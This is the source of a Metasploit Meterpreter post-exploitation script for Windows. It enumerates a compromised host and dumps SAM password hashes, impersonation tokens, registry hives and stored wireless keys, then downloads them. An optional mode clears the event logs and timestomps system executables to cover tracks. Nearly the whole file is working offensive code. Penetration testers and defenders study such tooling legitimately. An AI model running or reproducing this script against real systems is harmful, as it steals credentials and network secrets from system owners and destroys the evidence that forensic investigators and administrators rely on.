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metasploit-framework/scripts/meterpreter/winenum.rb

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# $Id$
#
#Meterpreter script for basic enumeration of Windows 2000, Windows 2003, Windows Vista
# and Windows XP targets using native windows commands.
#Provided by Carlos Perez at carlos_perez[at]darkoperator.com
#Verion: 0.3.4
#Note: Compleatly re-writen to make it modular and better error handling.
# Working on adding more Virtual Machine Checks and looking at improving
# the code but retain the independance of each module so it is easier for
# the code to be re-used.
#Contributor: natron (natron 0x40 invisibledenizen 0x2E com) (Process Migration Functions)
################## Variable Declarations ##################
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ],
"-r" => [ false, "Dump, compress and download entire Registry" ],
"-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ]
)
rd = nil
mg = nil
cm = nil
opts.parse(args) { |opt, idx, val|
case opt
when '-r'
rd = 1
when '-m'
mg = 1
when '-c'
cm = 1
when "-h"
print_line "WinEnum -- Windows local enumeration"
print_line
print_line "Retrieves all kinds of information about the system"
print_line "including environment variables, network interfaces,"
print_line "routing, user accounts, and much more. Results are"
print_line "stored in #{::File.join(Msf::Config.log_directory, 'winenum')}"
print_line(opts.usage)
raise Rex::Script::Completed
end
}
#-------------------------------------------------------------------------------
session = client
host,port = session.tunnel_peer.split(':')
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+"-"+sprintf("%.5d",rand(100000))
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'winenum', host + filenameinfo )
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
dest = logs + "/" + host + filenameinfo + ".txt"
# Commands that will be ran on the Target
commands = [
'cmd.exe /c set',
'arp -a',
'ipconfig /all',
'ipconfig /displaydns',
'route print',
'net view',
'netstat -nao',
'netstat -vb',
'netstat -ns',
'net accounts',
'net accounts /domain',
'net session',
'net share',
'net group',
'net user',
'net localgroup',
'net localgroup administrators',
'net group administrators',
'net view /domain',
'netsh firewall show config',
'tasklist /svc',
'tasklist /m',
'gpresult /SCOPE COMPUTER /Z',
'gpresult /SCOPE USER /Z'
]
# Windows 2008 Commands
win2k8cmd = [
'servermanagercmd.exe -q',
'cscript /nologo winrm get winrm/config',
]
# Commands wich MACE will be changed
cmdstomp = [
'cmd.exe',
'reg.exe',
'ipconfig.exe',
'route.exe',
'net.exe',
'netstat.exe',
'netsh.exe',
'makecab.exe',
'tasklist.exe',
'wbem\\wmic.exe',
'gpresult.exe'
]
# WMIC Commands that will be executed on the Target
wmic = [
'computersystem list brief',
'useraccount list',
'group list',
'service list brief',
'volume list brief',
'logicaldisk get description,filesystem,name,size',
'netlogin get name,lastlogon,badpasswordcount',
'netclient list brief',
'netuse get name,username,connectiontype,localname',
'share get name,path',
'nteventlog get path,filename,writeable',
'process list brief',
'startup list full',
'rdtoggle list',
'product get name,version',
'qfe',
]
#Specific Commands for Windows vista for Wireless Enumeration
vstwlancmd = [
'netsh wlan show interfaces',
'netsh wlan show drivers',
'netsh wlan show profiles',
'netsh wlan show networks mode=bssid',
]
# Commands that are not present in Windows 2000
nonwin2kcmd = [
'netsh firewall show config',
'tasklist /svc',
'gpresult /SCOPE COMPUTER /Z',
'gpresult /SCOPE USER /Z',
'prnport -l',
'prnmngr -g',
'tasklist.exe',
'wbem\\wmic.exe',
'netsh.exe',
]
# Executables not pressent in Windows 2000
nowin2kexe = [
'netsh.exe',
'gpresult.exe',
'tasklist.exe',
'wbem\\wmic.exe',
]
################## Function Declarations ##################
# Function to check if Target Machine a VM
# Note: will add soon Hyper-v and Citrix Xen check.
def chkvm(session)
check = nil
vmout = ''
info = session.sys.config.sysinfo
print_status "Checking if #{info['Computer']} is a Virtual Machine ........"
# Check for Target Machines if running in VM, only fo VMware Workstation/Fusion
begin
key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS'
root_key, base_key = session.sys.registry.splitkey(key)
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
v = open_key.query_value('SystemManufacturer')
sysmnfg = v.data.downcase
if sysmnfg =~ /vmware/
print_status "\tThis is a VMware Workstation/Fusion Virtual Machine"
vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n"
check = 1
elsif sysmnfg =~ /xen/
print_status("\tThis is a Xen Virtual Machine.")
check = 1
end
rescue
print_status("BIOS Check Failed")
end
if check != 1
begin
#Registry path using the HD and CD rom entries in the registry in case propirtary tools are
#not installed.
key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0"
root_key2, base_key2 = session.sys.registry.splitkey(key2)
open_key2 = session.sys.registry.open_key(root_key2,base_key2,KEY_READ)
v2 = open_key2.query_value('Identifier')
if v2.data.downcase =~ /vmware/
print_status "\tThis is a VMWare virtual Machine"
vmout << "This is a VMWare virtual Machine\n\n"
elsif v2.data =~ /vbox/
print_status "\tThis is a Sun VirtualBox virtual Machine"
vmout << "This is a Sun VirtualBox virtual Machine\n\n"
elsif v2.data.downcase =~ /xen/
print_status "\tThis is a Xen virtual Machine"
vmout << "This is a Xen virtual Machine\n\n"
elsif v2.data.downcase =~ /virtual hd/
print_status "\tThis is a Hyper-V/Virtual Server virtual Machine"
vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n"
end
rescue::Exception => e
print_status("#{e.class} #{e}")
end
end
vmout
end
#-------------------------------------------------------------------------------
# Function for running a list a commands stored in a array, returs string
def list_exec(session,cmdlst)
print_status("Running Command List ...")
tmpout = ""
cmdout = ""
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "\trunning command #{cmd}"
tmpout = ""
tmpout << "*****************************************\n"
tmpout << " Output of #{cmd}\n"
tmpout << "*****************************************\n"
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
tmpout << d
end
cmdout << tmpout
r.channel.close
r.close
rescue ::Exception => e
print_status("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
cmdout
end
#-------------------------------------------------------------------------------
# Function for running a list of WMIC commands stored in a array, returs string
def wmicexec(session,wmiccmds= nil)
print_status("Running WMIC Commands ....")
windr = ''
tmpout = ''
windrtmp = ""
session.response_timeout=120
begin
tmp = session.fs.file.expand_path("%TEMP%")
wmicfl = tmp + "\\wmictmp.txt"
wmiccmds.each do |wmi|
print_status "\trunning command wmic #{wmi}"
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})
sleep(2)
#Making sure that wmic finnishes before executing next wmic command
prog2check = "wmic.exe"
found = 0
while found == 0
session.sys.process.get_processes().each do |x|
found =1
if prog2check == (x['name'].downcase)
sleep(0.5)
found = 0
end
end
end
r.close
end
# Read the output file of the wmic commands
wmioutfile = session.fs.file.new(wmicfl, "rb")
until wmioutfile.eof?
tmpout << wmioutfile.read
end
wmioutfile.close
rescue ::Exception => e
print_status("Error running WMIC commands: #{e.class} #{e}")
end
# We delete the file with the wmic command output.
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
c.close
tmpout
end
#-------------------------------------------------------------------------------
#Function for getting the NTLM and LANMAN hashes out of a system
def gethash(session)
print_status("Dumping password hashes...")
begin
hash = ''
session.core.use("priv")
hashes = session.priv.sam_hashes
hash << "****************************\n"
hash << " Dumped Password Hashes\n"
hash << "****************************\n\n"
hashes.each do |h|
hash << h.to_s+"\n"
end
hash << "\n\n\n"
print_status("Hashes Dumped")
rescue ::Exception => e
print_status("\tError dumping hashes: #{e.class} #{e}")
print_status("\tPayload may be running with insuficient privileges!")
end
hash
end
#-------------------------------------------------------------------------------
#Function that uses the incognito fetures to list tokens on the system that can be used
def listtokens(session)
begin
print_status("Getting Tokens...")
dt = ''
session.core.use("incognito")
i = 0
dt << "****************************\n"
dt << " List of Available Tokens\n"
dt << "****************************\n\n"
while i < 2
tokens = session.incognito.incognito_list_tokens(i)
if i == 0
tType = "User"
else
tType = "Group"
end
dt << "#{tType} Delegation Tokens Available \n"
dt << "======================================== \n"
tokens['delegation'].each_line{ |string|
dt << string + "\n"
}
dt << "\n"
dt << "#{tType} Impersonation Tokens Available \n"
dt << "======================================== \n"
tokens['impersonation'].each_line{ |string|
dt << string + "\n"
}
i += 1
break if i == 2
end
print_status("All tokens have been processed")
rescue ::Exception => e
print_status("Error Getting Tokens: #{e.class} #{e}")
end
dt
end
#-------------------------------------------------------------------------------
# Function for clearing all eventlogs
def clrevtlgs(session)
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_status("Clearing Event Logs, this will leave and event 517")
begin
evtlogs.each do |evl|
print_status("\tClearing the #{evl} Event Log")
log = session.sys.eventlog.open(evl)
log.clear
end
print_status("Alll Event Logs have been cleared")
rescue ::Exception => e
print_status("Error clearing Event Log: #{e.class} #{e}")
end
end
#-------------------------------------------------------------------------------
# Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array
# The files have to be in %WinDir%\System32 folder.
def chmace(session,cmds)
windir = ''
windrtmp = ""
print_status("Changing Access Time, Modified Time and Created Time of Files Used")
windir = session.fs.file.expand_path("%WinDir%")
cmds.each do |c|
begin
session.core.use("priv")
filetostomp = windir + "\\system32\\"+ c
fl2clone = windir + "\\system32\\chkdsk.exe"
print_status("\tChanging file MACE attributes on #{filetostomp}")
session.priv.fs.set_file_mace_from_file(filetostomp, fl2clone)
rescue ::Exception => e
print_status("Error changing MACE: #{e.class} #{e}")
end
end
end
#-------------------------------------------------------------------------------
#Dumping and Downloading the Registry of the target machine
def regdump(session,pathoflogs,filename)
host,port = session.tunnel_peer.split(':')
#This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress
garbage = ''
windrtmp = ''
hives = %w{HKCU HKLM HKCC HKCR HKU}
windir = session.fs.file.expand_path("%WinDir%")
print_status('Dumping and Downloading the Registry')
hives.each_line do |hive|
begin
print_status("\tExporting #{hive}")
r = session.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
garbage << d
end
r.channel.close
r.close
print_status("\tCompressing #{hive} into cab file for faster download")
r = session.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
garbage << d
end
r.channel.close
r.close
rescue ::Exception => e
print_status("Error dumping Registry Hives #{e.class} #{e}")
end
end
#Downloading Compresed registry Hives
hives.each_line do |hive|
begin
print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab")
session.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab")
sleep(5)
rescue ::Exception => e
print_status("Error Downloading Registry Hives #{e.class} #{e}")
end
end
#Deleting left over files
print_status("\tDeleting left over files")
session.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'})
end
#-------------------------------------------------------------------------------
# Function for extracting program list from registry
def findprogs(session)
print_status("Extracting software list from registry")
proglist = ""
session.sys.registry.create_key(HKEY_CURRENT_USER, 'Software').each_key() do |company|
proglist << "#{company}"
session.sys.registry.create_key(HKEY_CURRENT_USER, "Software\\#{company}").each_key() do |software|
proglist << "\t#{software}"
end
end
print_status("Finnished Extraction of software list from registry")
proglist
end
#-------------------------------------------------------------------------------
# Function that will call 2 other Functions to cover all tracks
def covertracks(session,cmdstomp)
clrevtlgs(session)
info = session.sys.config.sysinfo
trgtos = info['OS']
if trgtos =~ /(Windows 2000)/
chmace(session,cmdstomp - nonwin2kcmd)
else
chmace(session,cmdstomp)
end
end
#-------------------------------------------------------------------------------
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
#-------------------------------------------------------------------------------
# Function for dumping Registry keys that contain wireless configuration settings for Vista and XP
# This keys can later be imported into a Windows client for conection or key extraction.
def dumpwlankeys(session,pathoflogs,filename)
host,port = session.tunnel_peer.split(':')
#This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress
garbage = ''
windrtmp = ''
windir = session.fs.file.expand_path("%TEMP%")
print_status('Dumping and Downloading the Registry entries for Configured Wireless Networks')
xpwlan = "HKLM\\Software\\Microsoft\\WZCSVC\\Parameters\\Interfaces"
vswlan = "HKLM\\Software\\Microsoft\\Wlansvc"
info = session.sys.config.sysinfo
trgtos = info['OS']
if trgtos =~ /(Windows XP)/
key = xpwlan
elsif trgtos =~ /(Windows Vista)/
key = vswlan
end
begin
print_status("\tExporting #{key}")
r = session.sys.process.execute("reg export \"#{key}\" #{windir}\\wlan#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
garbage << d
end
sleep(2)
r.channel.close
r.close
print_status("\tCompressing key into cab file for faster download")
r = session.sys.process.execute("cmd.exe /c makecab #{windir}\\wlan#{filename}.reg #{windir}\\wlan#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
garbage << d
end
r.channel.close
r.close
rescue ::Exception => e
print_status("Error dumping Registry keys #{e.class} #{e}")
end
#Downloading Compresed registry keys
begin
print_status("\tDownloading wlan#{filename}.cab to -> #{pathoflogs}/wlan#{filename}.cab")
session.fs.file.download_file("#{pathoflogs}/wlan#{filename}.cab", "#{windir}\\wlan#{filename}.cab")
sleep(5)
rescue ::Exception => e
print_status("Error Downloading Registry keys #{e.class} #{e}")
end
#Deleting left over files
print_status("\tDeleting left over files")
#session.sys.process.execute("cmd.exe /c del #{windir}\\wlan*", nil, {'Hidden' => 'true'})
end
# Functions Provided by natron (natron 0x40 invisibledenizen 0x2E com)
# for Process Migration
#---------------------------------------------------------------------------------------------------------
def launchProc(session,target)
print_status("Launching hidden #{target}...")
# Set the vars; these can of course be modified if need be
cmd_exec = target
cmd_args = nil
hidden = true
channelized = nil
use_thread_token = false
# Launch new process
newproc = session.sys.process.execute(cmd_exec, cmd_args,
'Channelized' => channelized,
'Hidden' => hidden,
'InMemory' => nil,
'UseThreadToken' => use_thread_token)
print_status("Process #{newproc.pid} created.")
return newproc
end
#-------------------------------------------------------------------------------
def migrateToProc(session,newproc)
# Grab the current pid info
server = session.sys.process.open
print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.")
# Save the old process info so we can kill it after migration.
oldproc = server.pid
# Do the migration
session.core.migrate(newproc.pid.to_i)
print_status("Migration completed successfully.")
# Grab new process info
server = session.sys.process.open
print_status("New server process: #{server.name} (#{server.pid})")
return oldproc
end
#-------------------------------------------------------------------------------
def killApp(session,procpid)
session.sys.process.kill(procpid)
print_status("Old process #{procpid} killed.")
end
#---------------------------------------------------------------------------------------------------------
# Function to execute process migration
def migrate(session)
target = 'cmd.exe'
newProcPid = launchProc(session,target)
oldProc = migrateToProc(session,newProcPid)
#killApp(oldProc)
#Dangerous depending on the service exploited
end
#---------------------------------------------------------------------------------------------------------
#Function for Checking for UAC
def uaccheck(session)
uac = false
winversion = session.sys.config.sysinfo
if winversion['OS']=~ /Windows Vista/ or winversion['OS']=~ /Windows 7/
if session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
begin
print_status("Checking if UAC is enabled .....")
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System')
if key.query_value('Identifier') == 1
print_status("UAC is Enabled")
uac = true
end
key.close
rescue::Exception => e
print_status("Error Checking UAC: #{e.class} #{e}")
end
end
end
return uac
end
################## MAIN ##################
# Execute Functions selected
if (mg != nil)
migrate(session)
end
# Main part of script, it will run all function minus the ones
# that will chance the MACE and Clear the Eventlog.
print_status("Running Windows Local Enumerion Meterpreter Script")
print_status("New session on #{host}:#{port}...")
# Header for File that will hold all the output of the commands
info = session.sys.config.sysinfo
header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
header << "Running as: #{client.sys.config.getuid}\n"
header << "Host: #{info['Computer']}\n"
header << "OS: #{info['OS']}\n"
header << "\n\n\n"
print_status("Saving report to #{dest}")
filewrt(dest,header)
filewrt(dest,chkvm(session))
trgtos = info['OS']
uac = uaccheck(session)
# Run Commands according to OS some commands are not available on all versions of Windows
if trgtos =~ /(Windows XP)/
filewrt(dest,list_exec(session,commands))
filewrt(dest,wmicexec(session,wmic))
filewrt(dest,findprogs(session))
dumpwlankeys(session,logs,filenameinfo)
filewrt(dest,gethash(session))
elsif trgtos =~ /(Windows .NET)/
filewrt(dest,list_exec(session,commands))
filewrt(dest,wmicexec(session,wmic))
filewrt(dest,findprogs(session))
filewrt(dest,gethash(session))
elsif trgtos =~ /(Windows 2008)/
filewrt(dest,list_exec(session,commands + win2k8cmd))
#filewrt(dest,wmicexec(session,wmic))
#filewrt(dest,findprogs(session))
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.")
else
filewrt(dest,gethash(session))
end
elsif trgtos =~ /(Windows Vista)/ or trgtos =~ /(Windows 7)/
filewrt(dest,list_exec(session,commands + vstwlancmd))
filewrt(dest,wmicexec(session,wmic))
filewrt(dest,findprogs(session))
if not uac
dumpwlankeys(session,logs,filenameinfo)
else
print_status("UAC is enabled, Wireless key Registry could not be dumped under current privileges")
end
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.")
else
filewrt(dest,gethash(session))
end
elsif trgtos =~ /(Windows 2000)/
filewrt(dest,list_exec(session,commands - nonwin2kcmd))
filewrt(dest,gethash(session))
end
#filewrt(dest,gethash(session))
filewrt(dest,listtokens(session))
if (rd != nil)
if not uac
regdump(session,logs,filenameinfo)
filewrt(dest,"Registry was dumped and downloaded")
else
print_status("UAC is enabled, Registry Keys could not be dumped under current privileges")
end
end
if (cm != nil)
filewrt(dest,"EventLogs where Cleared")
if trgtos =~ /(Windows 2000)/
covertracks(session,cmdstomp - nowin2kexe)
else
if not uac
covertracks(session,cmdstomp)
else
print_status("UAC is enabled, Logs could not be cleared under current privileges")
end
end
end
print_status("Done!")
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